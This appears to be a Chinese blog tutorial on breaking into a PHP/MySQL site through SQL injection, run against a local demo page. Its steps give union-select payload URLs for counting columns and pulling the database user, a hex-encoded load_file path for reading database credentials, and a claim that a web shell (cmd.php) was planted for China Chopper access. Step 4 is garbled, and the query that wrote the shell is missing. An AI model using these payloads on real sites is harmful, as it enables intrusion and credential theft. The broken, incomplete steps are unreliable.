前提:当前连接数据库的名称必须是root这样才有 load_file 的权限 , 爆出当前文件的目录 , 还有能在phpmyadmin 。只要这几个不满足无法实现入侵



1、    首先找到注入点
http://localhost:8080/hack/demo1.php?id=3’
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in D:\wamp\www\hack\demo1.php on line 11
可以注入的同时暴露了路径D:\wamp\www\hack\demo1.php

2、判断当前查询的字段数
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1          //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2        //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3       //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3,4      //报错
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select 1,2,3,4,5     //正确了

3、    获取数据库名称 , 用户名称 , 版本
http://localhost:8080/hack/demo1.php?id=3 and 1=2 union select version(),database(),user(),4,5
版本: 5.5.8-log
数据库名称:test
用户:root@localhost           //这里必须是root用户 , 不然会没有load_file的权限

4、    利用load_file获取链接数据库的密码
爆出来的路径是 D:\wamp\www\hack\demo1.php 需要转变为16进制
0x443A5C77616D705C7777775C6861636B5C64656D6F312E706870
C6861636B5C64656D6F312E706870),3,4,5

获取的文件内容

 

3、  然后访问http://localhost:8080/hack/cmd.php

Notice: Undefined index: cmd in D:\wamp\www\hack\cmd.php on line 1

 

证明生成文件成功 可以直接用菜刀链接了

版权声明:未经博主允许不得转载。http://smister.com/post-11.html